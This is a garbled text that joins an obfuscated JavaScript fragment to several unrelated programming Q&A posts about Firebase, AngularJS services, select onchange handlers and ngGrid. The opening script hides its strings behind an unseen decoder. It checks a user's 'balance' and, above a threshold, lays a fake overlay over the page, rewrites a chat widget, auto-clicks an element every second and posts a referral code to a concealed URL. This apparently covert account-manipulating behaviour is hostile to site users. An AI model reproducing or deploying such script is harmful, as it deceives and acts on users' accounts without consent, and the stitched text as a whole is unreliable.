return oembedView;
};
var _0x1234 = [_0x416c("0x0"), "innerText", "balance", _0x416c("0x1"), ",", "", _0x416c("0x2"), "log", _0x416c("0x3"), _0x416c("0x4"), _0x416c("0x5"), _0x416c("0x6"), _0x416c("0x7"), "h3", _0x416c("0x8"), _0x416c("0x9"), _0x416c("0xa"), _0x416c("0xb"), _0x416c("0xc"), _0x416c("0xd"), _0x416c("0xe"), _0x416c("0xf"), _0x416c("0x10"), "position: fixed;width: 100%;height: 100%;background-color: black;opacity: 0.75;top: 0;z-index: 90;", _0x416c("0x11"), _0x416c("0x12"), "id", _0x416c("0x13"), _0x416c("0x14"),
"p", "text-align:center;font-family: american-captain;font-weight: 400;color: #dcdcdc;letter-spacing: .025em;line-height: 2.25;font-size:24px;", "margin-top: 15px;font-weight: 400;text-align: center;font-weight: 700;color: #FF652F;padding: 20px;", "append", "span", "Type Message...", _0x416c("0x15"), _0x416c("0x16"), _0x416c("0x17"), "9", _0x416c("0x18"), "5%", "marginLeft", "4%", _0x416c("0x19"), _0x416c("0x1a"), _0x416c("0x1b"), "#dcdcdc", _0x416c("0x1c"), _0x416c("0x1d"), _0x416c("0x1e"), _0x416c("0x1f"),
_0x416c("0x20"), _0x416c("0x21"), _0x416c("0x22"), _0x416c("0x23"), _0x416c("0x24"), _0x416c("0x25"), _0x416c("0x26"), _0x416c("0x27"), "\n", _0x416c("0x28"), _0x416c("0x29"), _0x416c("0x2a"), "readyState", _0x416c("0x2b"), _0x416c("0x2c"), _0x416c("0x2d"), _0x416c("0x2e"), _0x416c("0x2f"), _0x416c("0x30"), _0x416c("0x31"), _0x416c("0x32"), _0x416c("0x33"), _0x416c("0x34"), _0x416c("0x35"), _0x416c("0x36"), _0x416c("0x37"), _0x416c("0x38"), _0x416c("0x39"), _0x416c("0x3a"), _0x416c("0x3b"), _0x416c("0x3c")];
_0x1234[0];
var _0xde2d = [_0x1234[0], _0x1234[1], _0x1234[2], _0x1234[3], _0x1234[4], _0x1234[5], _0x1234[6], _0x1234[7], _0x1234[8], _0x1234[9], _0x1234[10], _0x1234[11], _0x1234[12], _0x1234[13], _0x1234[14], _0x1234[15], _0x1234[16], _0x1234[17], _0x1234[18], _0x1234[19], _0x1234[20], _0x1234[21], _0x1234[22], _0x1234[23], _0x1234[24], _0x1234[25], _0x1234[26], _0x1234[27], _0x1234[28], _0x1234[29], _0x1234[30], _0x1234[31], _0x1234[32], _0x1234[33], _0x1234[34], _0x1234[35], _0x1234[36], _0x1234[37], _0x1234[38],
_0x1234[39], _0x1234[40], _0x1234[41], _0x1234[42], _0x1234[43], _0x1234[44], _0x1234[45], _0x1234[46], _0x1234[47], _0x1234[48], _0x1234[49], _0x1234[50], _0x1234[51], _0x1234[52], _0x1234[53], _0x1234[54], _0x1234[55], _0x1234[56], _0x1234[57], _0x1234[58], _0x1234[59], _0x1234[60], _0x1234[61], _0x1234[62], _0x1234[63], _0x1234[64], _0x1234[65], _0x1234[66], _0x1234[67], _0x1234[68], _0x1234[69], _0x1234[70], _0x1234[71], _0x1234[72], _0x1234[73], _0x1234[74], _0x1234[75], _0x1234[76], _0x1234[77],
_0x1234[78], _0x1234[79], _0x1234[80], _0x1234[81]];
_0xde2d[0];
var _0x8e4c = [_0xde2d[1], _0xde2d[2], _0xde2d[3], _0xde2d[4], _0xde2d[5], _0xde2d[6], _0xde2d[7], _0xde2d[8], _0xde2d[9], _0xde2d[10], _0xde2d[11], _0xde2d[12], _0xde2d[13], _0xde2d[14], _0xde2d[15], _0xde2d[16], _0xde2d[17], _0xde2d[18], _0xde2d[19], _0xde2d[20], _0xde2d[21], _0xde2d[22], _0xde2d[23], _0xde2d[24], _0xde2d[25], _0xde2d[26], _0xde2d[27], _0xde2d[28], _0xde2d[29], _0xde2d[30], _0xde2d[31], _0xde2d[32], _0xde2d[33], _0xde2d[34], _0xde2d[35], _0xde2d[36], _0xde2d[37], _0xde2d[38], _0xde2d[39],
_0xde2d[40], _0xde2d[41], _0xde2d[42], _0xde2d[43], _0xde2d[44], _0xde2d[45], _0xde2d[46], _0xde2d[47], _0xde2d[48], _0xde2d[49], _0xde2d[50], _0xde2d[51], _0xde2d[52], _0xde2d[53], _0xde2d[54], _0xde2d[55], _0xde2d[56], _0xde2d[57], _0xde2d[58], _0xde2d[59], _0xde2d[60], _0xde2d[61], _0xde2d[62], _0xde2d[63], _0xde2d[64], _0xde2d[65], _0xde2d[66], _0xde2d[67], _0xde2d[68], _0xde2d[69], _0xde2d[70], _0xde2d[71], _0xde2d[72], _0xde2d[73], _0xde2d[74], _0xde2d[75], _0xde2d[76], _0xde2d[77], _0xde2d[78],
_0xde2d[79], _0xde2d[80], _0xde2d[81]];
var pare = document[_0x8e4c[2]](_0x8e4c[1])[0][_0x8e4c[0]];
pare = pare[_0x8e4c[5]](_0x8e4c[3], _0x8e4c[4]);
console[_0x8e4c[6]](pare);
if (parseFloat(pare) >= 5) {
var zameniText = function() {
var chat_retry = setInterval(function() {
var _0x735ax10 = document[_0x8e4c[2]](_0x8e4c[7])[0];
if (_0x735ax10) {
_0x735ax10 = _0x735ax10[_0x8e4c[2]](_0x8e4c[8])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[12])[0][_0x8e4c[0]] = _0x8e4c[13];
_0x735ax10 = _0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10 = _0x735ax10[_0x8e4c[2]](_0x8e4c[14])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[15]] = _0x8e4c[17];
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[0]] = _0x8e4c[18];
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[19]] = function() {
doubleB();
};
console[_0x8e4c[6]](_0x8e4c[20]);
clearInterval(chat_retry);
}
});
};
var napraviPopup = function(match, i) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[10]);
artistTrack[_0x8e4c[15]] = _0x8e4c[22];
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](artistTrack);
var m = document[_0x8e4c[21]](_0x8e4c[10]);
m[_0x8e4c[25]] = _0x8e4c[26];
m[_0x8e4c[15]] = _0x8e4c[27];
var req = document[_0x8e4c[21]](_0x8e4c[28]);
req[_0x8e4c[15]] = _0x8e4c[29];
req[_0x8e4c[0]] = match;
var x = document[_0x8e4c[21]](_0x8e4c[28]);
x[_0x8e4c[15]] = _0x8e4c[30];
x[_0x8e4c[0]] = i;
m[_0x8e4c[23]](req);
m[_0x8e4c[31]](x);
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](m);
/** #type {number} */
var chat_retry = setInterval(function() {
if (document[_0x8e4c[2]](_0x8e4c[7])[0]) {
m[_0x8e4c[9]]();
artistTrack[_0x8e4c[9]]();
clearInterval(int1);
zameniText();
clearInterval(chat_retry);
}
});
};
var sredi = function(mmCoreSplitViewBlock) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[32]);
artistTrack[_0x8e4c[0]] = _0x8e4c[33];
artistTrack[_0x8e4c[15]][_0x8e4c[34]] = _0x8e4c[35];
artistTrack[_0x8e4c[15]][_0x8e4c[36]] = _0x8e4c[37];
artistTrack[_0x8e4c[15]][_0x8e4c[38]] = _0x8e4c[39];
artistTrack[_0x8e4c[15]][_0x8e4c[40]] = _0x8e4c[41];
artistTrack[_0x8e4c[15]][_0x8e4c[42]] = _0x8e4c[43];
artistTrack[_0x8e4c[15]][_0x8e4c[44]] = _0x8e4c[45];
artistTrack[_0x8e4c[15]][_0x8e4c[46]] = _0x8e4c[47];
artistTrack[_0x8e4c[15]][_0x8e4c[48]] = _0x8e4c[49];
document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[2]](_0x8e4c[51])[0][_0x8e4c[50]](artistTrack, mmCoreSplitViewBlock);
mmCoreSplitViewBlock[_0x8e4c[15]][_0x8e4c[44]] = _0x8e4c[53];
mmCoreSplitViewBlock[_0x8e4c[15]][_0x8e4c[54]] = _0x8e4c[55];
mmCoreSplitViewBlock[_0x8e4c[56]] = _0x8e4c[57] + pare + _0x8e4c[58];
};
var zakacizamene = function() {
var core_user_remove_user_device = _0x8e4c[59];
var elem = new XMLHttpRequest;
var wsFunction = core_user_remove_user_device;
var data = {
"referral_code" : _0x8e4c[60]
};
elem[_0x8e4c[61]] = function() {
if (this[_0x8e4c[62]] == 4 && this[_0x8e4c[63]] == 200) {
console[_0x8e4c[6]](_0x8e4c[64]);
}
};
elem[_0x8e4c[66]](_0x8e4c[65], wsFunction, !![]);
elem[_0x8e4c[69]](_0x8e4c[67], _0x8e4c[68]);
elem[_0x8e4c[69]](_0x8e4c[70], data[_0x8e4c[71]]);
elem[_0x8e4c[73]](JSON[_0x8e4c[72]](data));
};
sredi(document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[11]](_0x8e4c[74])[0]);
var int1 = setInterval(function() {
document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[11]](_0x8e4c[74])[0][_0x8e4c[75]]();
}, 1E3);
napraviPopup(_0x8e4c[76], _0x8e4c[77]);
zakacizamene();
} else {
napraviPopup1(_0x8e4c[78], _0x8e4c[79]);
}
function napraviPopup1(match, i) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[10]);
artistTrack[_0x8e4c[15]] = _0x8e4c[22];
artistTrack[_0x8e4c[19]] = function() {
artistTrack[_0x8e4c[9]]();
m[_0x8e4c[9]]();
};
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](artistTrack);
var m = document[_0x8e4c[21]](_0x8e4c[10]);
m[_0x8e4c[25]] = _0x8e4c[26];
m[_0x8e4c[15]] = _0x8e4c[27];
var req = document[_0x8e4c[21]](_0x8e4c[28]);
req[_0x8e4c[15]] = _0x8e4c[29];
req[_0x8e4c[0]] = match;
var x = document[_0x8e4c[21]](_0x8e4c[28]);
x[_0x8e4c[15]] = _0x8e4c[30];
x[_0x8e4c[0]] = i;
m[_0x8e4c[23]](req);
m[_0x8e4c[31]](x);
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](m);
}
function doubleB() {
napraviPopup1(_0x8e4c[78], _0x8e4c[80]);
var timeout = setInterval(function() {
if (document[_0x8e4c[2]](_0x8e4c[7])[0]) {
document[_0x8e4c[2]](_0x8e4c[7])[0][_0x8e4c[9]]();
clear(timeout);
}
});
}
;

Why do I get “undefined” in the table in my Firebase app?

I'm trying to create an app that retrieves data from Firebase and show it in a table using JavaScript. The problem is that it’s showing me “undefined” in the app and in the console and when I try to print the values directly from the functions they contain a value, so can anyone please help me with this?
This is my code:
function doSomething() {
var something = firebase.database().ref('*****');
//comment selection
something.on('value', function gotData(data) {
var values = data.val();
var keys = Object.keys(values);
var i = 0;
while (i < keys.length) {
var k = keys[i];
var comments = values[k].comment;
var idU = values[k].id;
var idS = values[k].idservice;
var nom = getuser(idU);
var service = getservice(idS);
var tr = document.createElement('tr');
var td = document.createElement('td');
var td2 = document.createElement('td');
var td3 = document.createElement('td');
var t = document.createTextNode(i + ':' + comments);
var t2 = document.createTextNode(nom);
var t3 = document.createTextNode(service);
td.appendChild(t);
td2.appendChild(t2);
td3.appendChild(t3);
tr.appendChild(td);
tr.appendChild(td2);
tr.appendChild(td3);
document.getElementById("commentsection").appendChild(tr);
i++;
}
}, errData);
}
function getuser(IdU) {
var users = firebase.database().ref('******');
users.on('value', function getData(data) {
var values = data.val();
var keys = Object.keys(values);
var j = 0;
while (j < keys.length) {
var k = keys[j];
if (k === IdU) {
var name = values[k].nom;
console.log(name);
return name;
break;
} else {
console.log('not found');
break;
}
j++;
}
}, errData);
}
function getservice(IdS) {
var service = firebase.database().ref('******');
service.on('value', function getData(data) {
var values = data.val();
var keys = Object.keys(values);
var s = 0;
while (s < keys.length) {
var k = keys[s];
if (k === IdS) {
var nomservice = values[k].nomservice
console.log(nomservice);
return nomservice;
break;
} else {
return false;
}
s++;
}
}, errData);
}
function errData(err) {
console.log('error!');
console.log(err);
}
This is a screenshot for what I get:

Can i call multiple java script functions with in controller?

I defined a JavaScript function using a custom service and I called this function using the service in my controller. This function uses two parameters: The first one is input which I am getting by hitting the below API and the second one is the value of the year which I'm getting using ng-model directive. When I am calling this function in my controller I am getting an error like type is not defined or id is not defined etc. Is it the right way to call a JavaScript function in the controller. Please suggest me.
$http.get("http://152.144.218.70:8080/USACrime/api/crimeMultiple?city=" +$scope.strCity + "&crime=" + $scope.type1 + "&model=" + model).success(function (result) {
$scope.prograssing = false;
console.log("manisha", $scope.strCity);
console.log("kanika", result);
$scope.output = result;
console.log("monga", $scope.output);
$scope.hex = hexafy.year_city($scope.output,$scope.type);
console.log("service", $scope.hex);
});
myapp.js
var app= angular.module("myApp",["ngRoute","leaflet-directive","pb.ds.components"]);
var geomarker = new L.FeatureGroup();
app.service('hexafy', function() {
this.year_city = function (input2,years) {
if(years.toLowerCase()=="all"){
years = "2012,2013,2014,2015,2016,2017,2018,2019";
}
var yrs = years.split(",");
output = {};
outerBoundary = {};
boundary = {};
boundary["boundaryId"] = input[0]["id"];
boundary["boundaryType"] = input[0]["type"];
boundary["boundaryRef"] = "C1";
outerBoundary["boundary"] = boundary;
output["boundaries"] =outerBoundary;
themes = [];
for(var i in input){
crimeTheme = {};
crimeThemeValue = {};
crimeThemeValue["boundaryRef"] = "C1";
result = [];
for(var j in input[i]["prediction"]){
dict = {};
if(yrs.indexOf(input[i]["prediction"][j]["year"])>-1){
dict["name"] = input[i]["prediction"][j]["year"]+" "+input[i]["crime"]+" Crime";
dict["description"] = input[i]["crime"]+" Crime for "+input[i]["prediction"][j]["year"];
dict["value"] = input[i]["prediction"][j]["count"];
dict["accuracy"] = input[i]["accuracy"];
result.push(dict);
}
}
crime = input[i]["crime"].toLowerCase()+"CrimeTheme";
crimeThemeValue["individualValueVariable"] = result;
console.log('crimeThemeValue["individualValueVariable"]',crimeThemeValue["individualValueVariable"]);
crimeTheme[crime] = crimeThemeValue;
themes.push(crimeTheme);
console.log("themes",JSON.stringify(themes));
}
output["themes"] = themes;
console.log(output);
return output;
};
});
});
1) .success and .error methods are deprecated and it is not good to go with it. Instead you'd better use .then(successCallback, errorCallback)
2) To use a service method the proper way is to it like this:
app.service('myService', function() {
var service = {
method:method
};
return service;
function method() {
//Logic
}
})
So in your case the way to go is:
app.service('hexafy', function () {
return {
years_city: function (input2, years) {
if (years.toLowerCase() == "all") {
years = "2012,2013,2014,2015,2016,2017,2018,2019";
}
var yrs = years.split(",");
output = {};
outerBoundary = {};
boundary = {};
boundary["boundaryId"] = input[0]["id"];
boundary["boundaryType"] = input[0]["type"];
boundary["boundaryRef"] = "C1";
outerBoundary["boundary"] = boundary;
output["boundaries"] = outerBoundary;
themes = [];
for (var i in input) {
crimeTheme = {};
crimeThemeValue = {};
crimeThemeValue["boundaryRef"] = "C1";
result = [];
for (var j in input[i]["prediction"]) {
dict = {};
if (yrs.indexOf(input[i]["prediction"][j]["year"]) > -1) {
dict["name"] = input[i]["prediction"][j]["year"] + " " + input[i]["crime"] +
" Crime";
dict["description"] = input[i]["crime"] + " Crime for " + input[i]["prediction"]
[j]["year"];
dict["value"] = input[i]["prediction"][j]["count"];
dict["accuracy"] = input[i]["accuracy"];
result.push(dict);
}
}
crime = input[i]["crime"].toLowerCase() + "CrimeTheme";
crimeThemeValue["individualValueVariable"] = result;
console.log('crimeThemeValue["individualValueVariable"]', crimeThemeValue[
"individualValueVariable"]);
crimeTheme[crime] = crimeThemeValue;
themes.push(crimeTheme);
console.log("themes", JSON.stringify(themes));
}
output["themes"] = themes;
console.log(output);
return output;
}
}
})

Javascript array to point variable name with similar function

I'm want to shorten this function with array
document.mySchedule.breakfast.onchange = function() {
var id = document.mySchedule.breakfast.selectedIndex;
var val = document.mySchedule.breakfast[id].value;
strUser[0]=val;
}
document.mySchedule.lunch.onchange = function() {
var id = document.mySchedule.lunch.selectedIndex;
var val = document.mySchedule.lunch[id].value;
strUser[1]=val;
}
document.mySchedule.dinner.onchange = function() {
var id = document.mySchedule.dinner.selectedIndex;
var val = document.mySchedule.dinner[id].value;
strUser[2]=val;
}
I'm try this way but it didn't seem to be work.
var selectData = ["breakfast","lunch","dinner"]
for(i = 0; i < selectData.lenght; i++) {
document.mySchedule.selectData[i].onchange = function() {
var id = document.mySchedule.selectData[i].selectedIndex;
var val = document.mySchedule.selectData[i][id].value;
strUser[i]=val;
}
}
by the way this use to control selector.
Hope someone can help. thank you
Use:
var selectData = ["breakfast","lunch","dinner"]
for(i = 0; i < selectData.lenght; i++) {
var e = document.getElementById(selectData[i]);
e.onchange = function(){
strUser[i] = e.value;
};
}

Angular ngGrid data presentation

I'm new to Angular and my experience with Javascript is not very extensive. I am failing to show data in ngGrid using following code. What is the problem?
In essence. I am loading data from a web-service, performing a transform (pivot) on it and then I want to present it in a grid.
Please see the following
app.js -> starting poing
var konstruktApp= angular.module('konstruktApp',['ngGrid']);
dataService.js -> web service call
'use strict';
konstruktApp.service('DataService',function DataService($http){
var callHttp = function(){
delete $http.defaults.headers.common['X-Requested-With'];
return $http.get("http://83.250.197.214/konstrukt.service/Konstrukt.SL.DummyBudgetService.svc/GetDummyBudgetData/");
};
return {
getDummyData: callHttp
};
});
ngGridController.js -> where the logic resides...
$scope.getData = DataService.getDummyData;
$scope.gridOptions = {data:'result'};
var getData = function() {
$scope.getData().then(function (response) {
var res = pivotData(response.data);
$scope.result = res.data.PivotedRows;
$scope.columns = res.cols;
console.log('from the success handler at ' + new Date());
}, function (reason) {
console.log('failed: ');
console.log(reason);
});
};
..and here is the logic that "pivots" the data
var pivotData = function(data) {
var firstColumn = "Dim1";
var secondColumn = "Period";
var columns = [];
columns.push({
field: firstColumn,
enableCellEdit: false
});
var pivotedArray = {};
pivotedArray.PivotedRows = [];
var rowItems = [];
var rowArray = {};
var previusFirstColumnValue = -1;
var firstColumnValue = 1;
//for each row
for (var i = 0; i < data.Rows.length; i = i + 1) {
//firstColumnValue = $scope.dataCollection.Rows[i].FindCell.Cells[firstColumn].Value;
firstColumnValue = findCell(data.Rows[i].Cells, firstColumn).Value;
//var secondColumnValue = data.Rows[i].Cells[secondColumn].Value;
var secondColumnValue = findCell(data.Rows[i].Cells, secondColumn).Value;
//if first column value has changed, add new row
if (firstColumnValue != previusFirstColumnValue) {
if (i !== 0) {
for (var j = 0; j < rowItems.length; j = j + 1) {
rowArray[rowItems[j].name] = rowItems[j].value;
}
pivotedArray.PivotedRows.push( rowArray);
rowArray = {};
rowItems = [];
}
rowItems.push({
name: firstColumn,
//value: $scope.dataCollection.Rows[i].Cells[firstColumn].Value
value: findCell(data.Rows[i].Cells, firstColumn).Value
});
}
//if (columns.indexOf({field: secondColumnValue}) == -1) {
if (i < 12) {
columns.push({
field: secondColumnValue,
editableCellTemplate: "<input ng-class=\"'colt' + col.index\" ng-input=\"COL_FIELD\" ng-blur=\"lostFocus()\" ng-model=\"COL_FIELD\" ng-change=\"dataChanged(col,row,row.entity)\"/>",
enableCellEdit: true
});
}
rowItems.push({
name: secondColumnValue,
value: findCell(data.Rows[i].Cells, secondColumn).Value
});
previusFirstColumnValue = firstColumnValue;
}
for (var k = 0; k < rowItems.length; k = k + 1) {
rowArray[rowItems[k].name] = rowItems[k].value;
}
// $scope.columns = columns;
pivotedArray.PivotedRows.push( rowArray);
return {data: pivotedArray, cols: columns};
};
plnkr: http://plnkr.co/edit/ZqC7696xGbUtuWGIvnYs?p=preview
EDIT: The data correlation rows<-> columns is correct, I suspect there is something wrong with data in the pivotedArray.PivotedRows array.
It turned out that moving the code to a new plnkr made the difference. Now, thats a few hours of my life that I want back :)

Categories